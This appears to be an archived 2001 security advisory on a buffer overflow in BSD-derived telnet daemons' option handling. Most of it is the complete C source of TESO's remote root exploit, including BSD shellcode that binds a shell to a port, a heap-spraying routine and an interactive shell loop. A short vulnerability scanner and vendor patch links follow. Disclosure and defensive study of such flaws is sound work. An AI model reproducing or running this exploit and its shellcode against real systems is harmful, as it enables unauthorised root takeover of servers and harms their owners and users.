COMMAND
telnetd
SYSTEMS AFFECTED
Multiple vendor Telnet Daemon
PROBLEM
scut found following (TESO Security Advisory). Within most of
the current telnet daemons in use today there exist a buffer
overflow in the telnet option handling. Under certain
circumstances it may be possible to exploit it to gain root
priviledges remotely.
Systems affected:
System | vulnerable | exploitable *
----------------------------------------+--------------+------------------
AIX | yes |
BSDI 4.x default | yes | yes
FreeBSD [2345].x default | yes | yes
IRIX 6.5 | yes | no
Linux netkit-telnetd < 0.14 | yes | ?
Linux netkit-telnetd >= 0.14 | no |
NetBSD 1.x default | yes | yes
OpenBSD 2.x | yes | ?
OpenBSD current | no |
Solaris 2.x sparc | yes | ?
<almost any other vendor's telnetd> | yes | ?
----------------------------------------+--------------+------------------
* = From our analysis and conclusions, which may not be correct
or we may have overseen things. Do not rely on this.
Through sending a specially formed option string to the remote
telnet daemon a remote attacker might be able to overwrite
sensitive information on the static memory pages. If done
properly this may result in arbitrary code getting executed on
the remote machine under the priviledges the telnet daemon runs
on, usually root.
Within every BSD derived telnet daemon under UNIX the telnet
options are processed by the 'telrcv' function. This function
parses the options according to the telnet protocol and its
internal state. During this parsing the results which should be
send back to the client are stored within the 'netobuf' buffer.
This is done without any bounds checking, since it is assumed
that the reply data is smaller than the buffer size (which is
BUFSIZ bytes, usually).
However, using a combination of options, especially the 'AYT' Are
You There option, it is possible to append data to the buffer,
usually nine bytes long. To trigger this response, two bytes in
the input buffer are necessary. Since this input buffer is BUFSIZ
bytes long, you can exceed the output buffer by as much as
(BUFSIZ / 2) * 9) - BUFSIZ bytes. For the common case that BUFSIZ
is defined to be 1024, this results in a buffer overflow by up to
3584 bytes. On systems where BUFSIZ is defined to be 4096, this
is an even greater value (14336).
Due to the limited set of characters an attacker is able to write
outside of the buffer it is difficult - if not impossible on some
systems - to exploit this buffer overflow. Another hurdle for a
possible attacker may be the lack of interesting information to
modify after the buffer.
This buffer overflow should be considered serious nevertheless,
since experience has shown that even complicated vulnerabilities
can be exploited by skilled attackers, BIND TSIG and SSH deattack
come to mind.
TESO have constructed a working exploit for any version of BSDI,
NetBSD and FreeBSD. Exploitation on Solaris sparc may be
possible but if it is, it is very difficult involving lots of
arcane tricks. OpenBSD is not as easily exploitable as the other
BSD's, because they do compile with other options by default,
changing memory layout.
/* 7350854 - x86/bsd telnetd remote root exploit
*
* TESO CONFIDENTIAL - SOURCE MATERIALS
*
* This is unpublished proprietary source code of TESO Security.
*
* (C) COPYRIGHT TESO Security, 2001
* All Rights Reserved
*
*****************************************************************************
* bug found by scut 2001/06/09
* further research by smiler, zip, lorian and me.
* thanks to zip's cool friend for giving me a testbed to play on
*
* tested against: BSDI BSD/OS 4.1
* NetBSD 1.5
* FreeBSD 3.1
* FreeBSD 4.0-REL
* FreeBSD 4.2-REL
* FreeBSD 4.3-BETA
* FreeBSD 4.3-STABLE
* FreeBSD 4.3-RELEASE
*
*/
#define VERSION "0.0.7"
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
/* global variables, uhhohh!
*/
int mode = 16;
int num = 245;
int pop = 31500; /* puts code at 0x08fdff0a */
int bs = 1; /* buffer start */
int num34 = 244;
int pop34 = 71833; /* puts code at 0x0a0d08fe */
int bs34 = 0;
int walk; /* populator walker */
int force = 0; /* force exploitation */
int checkonly = 0; /* check telnetd only */
void usage (char *progname);
int xp_check (int fd);
void xp_pop (int fd);
void xp_shrinkwin (int fd);
void xp_setenv (int fd, unsigned char *var, unsigned char *val);
void xp (int fd);
void shell (int sock);
void hexdump (char *desc, unsigned char *data, unsigned int amount);
/* imported from shellkit */
unsigned long int random_get (unsigned long int low, unsigned long int high);
void random_init (void);
int bad (unsigned char u);
int badstr (unsigned char *code, int code_len, unsigned char *bad,
int bad_len);
unsigned long int x86_nop_rwreg (void);
unsigned long int x86_nop_xfer (char *xferstr);
unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
unsigned char *bad, int bad_len);
#define BSET(dest, len, val, bw) { \
dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \
dest |= val << (8 - bw - len); /* set value bits */ \
bw += len; \
}
/* imported from network.c */
#define NET_CONNTIMEOUT 60
int net_conntimeout = NET_CONNTIMEOUT;
unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec);
/* x86/bsd PIC portshell shellcode
* by lorian/teso
* port 0x4444 (might want to change it here)
*/
unsigned char x86_bsd_portshell[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
"\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
/* ^^ ^^ port */
"\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
"\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
"\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
"\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
"\x80";
/* x86/bsd PIC execve shellcode
* by lorian/teso
*/
unsigned char x86_bsd_execvesh[] =
"\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";
/* x86/bsd(i)+solaris execve shellcode
* by lorian/teso
*/
unsigned char x86_bsd_compaexec[] =
"\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
"\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";
unsigned char * shellcode = x86_bsd_compaexec;
#define COL 55
void
usage (char *progname)
{
fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
"-c\tcheck exploitability only, do not exploit\n"
"-f\tforce mode, override check results\n\n");
fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
"send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
"take that, or it will take very long for it (> 1h). beware.\n\n");
fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
"\tNetBSD 1.5\n"
"\tBSDI BSD/OS 4.1\n\n");
exit (EXIT_FAILURE);
}
int
main (int argc, char *argv[])
{
char c;
char * progname;
char * dest;
int i, j, fd,
dots = 0;
int popc;
struct timeval start,
cur;
unsigned long long int g_pct, /* gaussian percentage */
g_all; /* gaussian overall */
fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
"by zip, lorian, smiler and scut.\n\n");
progname = argv[0];
if (argc < 2)
usage (progname);
while ((c = getopt (argc, argv, "n:cf")) != EOF) {
switch (c) {
case 'n':
num = atoi (optarg);
break;
case 'c':
checkonly = 1;
break;
case 'f':
force = 1;
break;
default:
usage (progname);
break;
}
}
dest = argv[argc - 1];
if (dest[0] == '-')
usage (progname);
fd = net_connect (NULL, dest, 23, 20);
if (fd <= 0) {
fprintf (stderr, "failed to connect\n");
exit (EXIT_FAILURE);
}
random_init ();
if (xp_check (fd) == 0 && force == 0) {
printf ("aborting\n");
#ifndef DEBUG
exit (EXIT_FAILURE);
#endif
}
close (fd);
if (checkonly)
exit (EXIT_SUCCESS);
fd = net_connect (NULL, dest, 23, 20);
if (fd <= 0) {
fprintf (stderr, "failed to connect the second time\n");
exit (EXIT_FAILURE);
}
printf ("\n#############################################################################\n\n");
printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
"telnet daemon process, it will spill badly. but then, there is no\n"
"other way, sorry...\n\n", mode);
#ifdef DEBUG
getchar ();
#endif
printf ("## setting populators to populate heap address space\n");
g_all = ((unsigned long long int)(pop / 2)) *
((unsigned long long int)(pop + 1));
g_pct = 0;
printf ("## number of setenvs (dots / network): %d\n", pop);
printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
printf ("##\n");
printf ("## the percentage is more realistic than the dots ;)\n");
printf ("\n");
printf ("percent |");
popc = pop / COL;
for (i = pop / popc ; i >= 0 ; --i)
printf ("-");
printf ("| ETA |\n");
gettimeofday (&start, NULL);
for (walk = 0 ; walk < pop ; ++walk) {
xp_pop (fd);
g_pct += walk;
if (walk % popc == 0)
dots += 1;
if (walk % 200 == 0) {
int pct;
float pct_f;
unsigned long int diff;
pct = (int) ((g_pct * 100) / g_all);
pct_f = g_pct * 100;
pct_f /= (float) g_all;
/* calculate difference not caring about accuracy */
gettimeofday (&cur, NULL);
diff = cur.tv_sec - start.tv_sec;
printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
"\r %2.2f%% |" : "\r %1.2f%% |"), pct_f);
for (j = 0 ; j < dots ; ++j)
printf (".");
for ( ; j <= COL ; ++j)
printf (" ");
if (pct != 0) {
diff = (int) ((((float)(100 - pct_f)) /
(float) pct_f) * diff);
printf ("| %02lu:%02lu:%02lu |",
diff / 3600, (diff % 3600) / 60,
diff % 60);
} else {
printf ("| --:--:-- |");
}
fflush (stdout);
}
}
printf ("\n\n");
printf ("## sleeping for 10 seconds to let the process recover\n");
sleep (10);
#ifdef DEBUG
getchar ();
#endif
/* return into 0x08feff0a */
xp (fd);
sleep (1);
printf ("## ok, you should now have a root shell\n");
printf ("## as always, after hard times, there is a reward...\n");
printf ("\n\ncommand: ");
fflush (stdout);
shell (fd);
exit (EXIT_SUCCESS);
}
void
xp (int fd)
{
int n;
unsigned char buf[2048];
/* basic overflow */
for (n = bs ; n < sizeof (buf) ; ++n)
buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';
/* some nifty alignment */
buf[0] = '\xff'; /* IAC */
buf[1] = '\xf5'; /* AO */
if (mode == 16) {
buf[2] = '\xff'; /* IAC */
buf[3] = '\xfb'; /* WILL */
buf[4] = '\x26'; /* ENCRYPTION */
}
/* force 0x08feff0a as return */
buf[num++] = '\xff';
buf[num++] = '\xfb';
buf[num++] = '\x08';
/* and the output_encrypt overwrite action, yay! */
buf[num++] = '\xff';
buf[num++] = '\xf6';
/* XXX: should not fail here, though we should better loop and check */
n = send (fd, buf, num, 0);
if (n != num) {
perror ("xp:send");
}
}
#ifdef INSANE_MIND
void
xp_shrinkwin (int fd)
{
int n;
int iobc;
int p = 0;
unsigned char buf[2048];
char c;
int val;
int len;
for (n = 0 ; n < sizeof (buf) ; ++n)
buf[n] = n % 2 ? '\xf6' : '\xff';
len = sizeof (val);
getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
printf ("SO_SNDLOWAT = %d\n", val);
val = 1;
printf ("setsockopt: %s\n",
setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
"FAILED" : "SUCCESS");
val = 1234;
getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
printf ("SO_SNDLOWAT = %d\n", val);
getchar();
while (1) {
if (p > 105)
c = getchar();
if (c == 'r') {
getchar();
read (fd, &buf[1024], 384);
} else if (c == 'o') {
getchar();
send (fd, "7", 1, MSG_OOB);
} else if (c != 'r') {
usleep(100000);
n = send (fd, buf, 112, 0);
ioctl (fd, FIONREAD, &iobc);
len = sizeof (val);
getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
printf ("%02d. send: %d local: %d/%d (%d left)\n",
++p, n, iobc, val, val - iobc);
}
}
}
#endif
/* xp_pop - populator function
*
* causes remote telnet daemon to setenv() variables with our content, populating
* the heap with shellcode. this will get us more nopspace and place our shellcode
* where the nice addresses are, that we can create by writing telnet option
* strings.
*
* XXX: there seems to be a maximum size for the environment value you can set,
* which is 510. we use 496 bytes for nopspace and shellcode therefore.
* should work, rather similar to tsig tcp/malloc exploitation. -sc
*/
void
xp_pop (int fd)
{
unsigned char var[16];
unsigned char storebuf[496];
sprintf (var, "%06x", walk);
#ifdef DEBUG
memset (storebuf, '\xcc', sizeof (storebuf));
#else
/* memset (storebuf, '\x90', sizeof (storebuf)); */
x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
shellcode, strlen (shellcode));
#endif
storebuf[sizeof (storebuf) - 1] = '\0';
xp_setenv (fd, var, storebuf);
}
void
xp_setenv (int fd, unsigned char *var, unsigned char *val)
{
int n = 0;
unsigned char buf[2048];
buf[n++] = IAC;
buf[n++] = SB;
buf[n++] = TELOPT_NEW_ENVIRON;
buf[n++] = TELQUAL_IS;
buf[n++] = ENV_USERVAR;
/* should not contain < 0x04 */
while (*var) {
if (*var == IAC)
buf[n++] = *var;
buf[n++] = *var++;
}
buf[n++] = NEW_ENV_VALUE;
while (*val) {
if (*val == IAC)
buf[n++] = *val;
buf[n++] = *val++;
}
buf[n++] = IAC;
buf[n++] = SE;
if (send (fd, buf, n, 0) != n) {
perror ("xp_setenv:send");
exit (EXIT_FAILURE);
}
}
int
xp_check (int fd)
{
int n;
unsigned int expect_len = 15;
unsigned char expected[] =
"\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
/* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/
unsigned int additional_len = 8;
unsigned char additional[] =
"\xff\xfa\x26\x01\x01\x02\xff\xf0";
/*IAC SB ENC ........... IAC SE */
unsigned char buf[128];
read (fd, buf, sizeof (buf));
n = 0;
buf[n++] = IAC; /* 0xff */
buf[n++] = AYT; /* 0xf6 */
buf[n++] = IAC; /* 0xff */
buf[n++] = WILL; /* 0xfb */
buf[n++] = TELOPT_NAOL; /* 0x08 */
buf[n++] = IAC; /* 0xff */
buf[n++] = WILL; /* 0xfb */
buf[n++] = TELOPT_ENCRYPT; /* 0x26 */
#ifdef DEBUG
hexdump ("check send buffer", buf, n);
#endif
if (send (fd, buf, n, 0) != n) {
perror ("xp_check:send");
exit (EXIT_FAILURE);
}
n = read (fd, buf, sizeof (buf));
#ifdef DEBUG
hexdump ("check recv buffer", buf, n);
#endif
if (memcmp (buf, expected, expect_len) == 0) {
if (memcmp (buf+expect_len, additional, additional_len) == 0) {
mode = 16;
} else {
mode = 34;
bs = bs34;
}
printf ("check: PASSED, using %dmb mode\n", mode);
return (1);
}
printf ("check: FAILED\n");
return (0);
}
void
shell (int sock)
{
int l;
char buf[512];
fd_set rfds;
while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
perror ("read user");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}
if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l <= 0) {
perror ("read remote");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}
/* ripped from zodiac */
void
hexdump (char *desc, unsigned char *data, unsigned int amount)
{
unsigned int dp, p; /* data pointer */
const char trans[] =
"................................ !\"#$%&'()*+,-./0123456789"
":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
"nopqrstuvwxyz{|}~...................................."
"....................................................."
"........................................";
printf ("/* %s, %u bytes */\n", desc, amount);
for (dp = 1; dp <= amount; dp++) {
fprintf (stderr, "%02x ", data[dp-1]);
if ((dp % 8) == 0)
fprintf (stderr, " ");
if ((dp % 16) == 0) {
fprintf (stderr, "| ");
p = dp;
for (dp -= 16; dp < p; dp++)
fprintf (stderr, "%c", trans[data[dp]]);
fflush (stderr);
fprintf (stderr, "\n");
}
fflush (stderr);
}
if ((amount % 16) != 0) {
p = dp = 16 - (amount % 16);
for (dp = p; dp > 0; dp--) {
fprintf (stderr, " ");
if (((dp % 8) == 0) && (p != 8))
fprintf (stderr, " ");
fflush (stderr);
}
fprintf (stderr, " | ");
for (dp = (amount - (16 - p)); dp < amount; dp++)
fprintf (stderr, "%c", trans[data[dp]]);
fflush (stderr);
}
fprintf (stderr, "\n");
return;
}
unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;
i = inet_addr(host);
if (i == -1) {
he = gethostbyname(host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}
int
net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec)
{
int n,
len,
error,
flags;
int fd;
struct timeval tv;
fd_set rset, wset;
struct sockaddr_in csa;
if (cs == NULL)
cs = &csa;
/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);
if (!(cs->sin_addr.s_addr = net_resolve (server))) {
close (fd);
return (-1);
}
flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}
error = 0;
n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;
FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;
n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);
if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);
done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}
/* imported from shellkit */
unsigned long int
random_get (unsigned long int low, unsigned long int high)
{
unsigned long int val;
if (low > high) {
low ^= high;
high ^= low;
low ^= high;
}
val = (unsigned long int) random ();
val %= (high - low);
val += low;
return (val);
}
void
random_init (void)
{
srandom (time (NULL));
}
int
bad (unsigned char u)
{
if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
return (1);
return (0);
}
int
badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
{
int n;
for (code_len -= 1 ; code_len >= 0 ; --code_len) {
for (n = 0 ; n < bad_len ; ++n)
if (code[code_len] == bad[n])
return (1);
}
return (0);
}
unsigned long int
x86_nop_rwreg (void)
{
unsigned long int reg;
do {
reg = random_get (0, 7);
} while (reg == 4); /* 4 = $esp */
return (reg);
}
unsigned long int
x86_nop_xfer (char *xferstr)
{
int bw = 0; /* bitfield walker */
unsigned char tgt; /* resulting instruction */
/* in a valid xferstr we trust */
for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) {
switch (xferstr[0]) {
case ('0'):
BSET (tgt, 1, 0, bw);
break;
case ('1'):
BSET (tgt, 1, 1, bw);
break;
case ('r'):
BSET (tgt, 3, x86_nop_rwreg (), bw);
break;
case ('.'):
break; /* ignore */
default:
fprintf (stderr, "on steroids, huh?\n");
exit (EXIT_FAILURE);
break;
}
}
if (bw != 8) {
fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
exit (EXIT_FAILURE);
}
return (tgt);
}
unsigned int
x86_nop (unsigned char *dest, unsigned int dest_len,
unsigned char *bad, int bad_len)
{
int walk;
int bcount; /* bad counter */
char * xs;
char * xferstr[] = {
"0011.0111", /* aaa */
"0011.1111", /* aas */
"1001.1000", /* cbw */
"1001.1001", /* cdq */
"1111.1000", /* clc */
"1111.1100", /* cld */
"1111.0101", /* cmc */
"0010.0111", /* daa */
"0010.1111", /* das */
"0100.1r", /* dec <reg> */
"0100.0r", /* inc <reg> */
"1001.1111", /* lahf */
"1001.0000", /* nop */
"1111.1001", /* stc */
"1111.1101", /* std */
"1001.0r", /* xchg al, <reg> */
NULL,
};
unsigned char tgt;
for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
/* avoid endless loops on excessive badlisting */
for (bcount = 0 ; bcount < 16384 ; ++bcount) {
xs = xferstr[random_get (0, 15)];
tgt = x86_nop_xfer (xs);
dest[walk] = tgt;
if (badstr (&dest[walk], 1, bad, bad_len) == 0)
break;
}
/* should not happen */
if (bcount >= 16384) {
fprintf (stderr, "too much blacklisting, giving up...\n");
exit (EXIT_FAILURE);
}
}
return (walk);
}
Here is the scanner:
/*
* Telnetd AYT overflow scanner, by Security Point(R)
* Bug found by scut of TESO Security
*
* Date: 25/07/01
* Author: Security Point(R)
* WWW: http://www.secpoint.com
* Email: info@secpoint.com
*
* This program checks for the AYT overflow realted to the
* newly discovered telnetd vulnerabilities.
*
* Tested agianst:
* Vulnerable:
* netkit-telnet-0.10
* FreeBSD 4.2
* Not vulnerable:
* netkit-telnet-0.17
*
* Please keep us updated whith the os's that you check, and
* report back to us on info@secpoint.com, weather the system
* is vulnerable or not. So we can construct a full list
* of vulnerable systems.
*
*
* This source code is for educational purpose ONLY,
* Security Point(R) will not be responsible for any damages
* whatsoever that have a connection with this code. There are
* no warranties with regard to this information.
*
* Are your networks under attack at this moment?
*
* With Security Point(R) Scanner you can find and repair the
* Vulnerabilities before the bad guys get in.
*
* Please see http://www.secpoint.com/solutions.php
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
struct in_addr addr;
struct sockaddr_in address;
struct hostent *host;
int sock;
char sendbuffer[5120*2];
char buffer[5120*2];
int i;
int timeout;
void handle_alarm(int signum) {
alarm(0);
timeout=1;
}
int main (int argc, char *argv[]) {
printf("Telnetd AYT overflow scanner, by Security Point(R)\n");
if (argc!=2) {
printf("Usage: %s <host>\n", argv[0]);
exit(EXIT_FAILURE);
}
printf("Host: %s\n", argv[1]);
if ((host=gethostbyname(argv[1])) == NULL) {
perror("gethostbyname");
exit(0);
exit(EXIT_FAILURE);
}
if (( sock = socket(AF_INET, SOCK_STREAM,0)) < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
bcopy(host->h_addr, (char *)&address.sin_addr, host->h_length);
address.sin_family=AF_INET;
address.sin_port = htons(23); // telnet
if (connect(sock, (struct sockaddr*)&address, sizeof(address)) < 0) {
perror("connect");
exit(EXIT_FAILURE);
}
printf("Connected to remote host...\n",argv[1]);
printf("Sending telnet options... stand by...\n");
signal(SIGALRM,handle_alarm);
bzero(sendbuffer,sizeof(sendbuffer));
for (i=0;i!=(sizeof(sendbuffer)/2);i++) {
sprintf(sendbuffer,"%s%c%c",sendbuffer,255,246); // 0xff 0xf6 - IAC AYT
}
alarm(60);
read(sock, buffer, sizeof(buffer));
alarm(0);
write(sock, sendbuffer, strlen(sendbuffer));
bzero(buffer,sizeof(buffer));
alarm(60);
if (read(sock, buffer, sizeof(buffer)) <=0) {
printf("Telnetd on %s vulnerable\n",argv[1]);
exit(EXIT_SUCCESS);
}
alarm(0);
printf("Telnetd on %s not vulnerable\n",argv[1]);
exit(EXIT_SUCCESS);
}
SOLUTION
The vendors have been notified of the problem at the same time as
the general public, vendor patches for your telnet daemon that
fix the bug will show up soon.
Sometimes a fix might not be trivial and require a lot of changes
to the source code, due to the insecure nature the 'nfrontp'
pointer is handled. The best long term solution is to disable
the telnet daemon at all, since there are good and free
replacements.
All current versions of BSD/OS are vulnerable. Patches are
available via our web site at
http://www.bsdi.com/services/support/patches
ftp://ftp.bsdi.com/bsdi/support/patches
All released versions of FreeBSD are vulnerable to this problem,
which was fixed in FreeBSD 4.3-STABLE and FreeBSD 3.5.1-STABLE on
July 23, 2001. An advisory has been released, along with a patch
to correct the vulnerability and a binary upgrade package
suitable for use on FreeBSD 4.3-RELEASE systems. For more
information, see the advisory at the following location:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:49.telnetd.asc
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/mirrors-ftp.html
For IBM AIX the temporary fixes can be downloaded via ftp from:
ftp://aix.software.ibm.com/aix/efixes/security/telnetd_efix.tar.Z
For Kerberos the recommended approach is to apply the appropriate
patches and to rebuild your telnetd. Patches for the krb5-1.2.2
release may be found at:
http://web.mit.edu/kerberos/www/advisories/telnetd_122_patch.txt
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH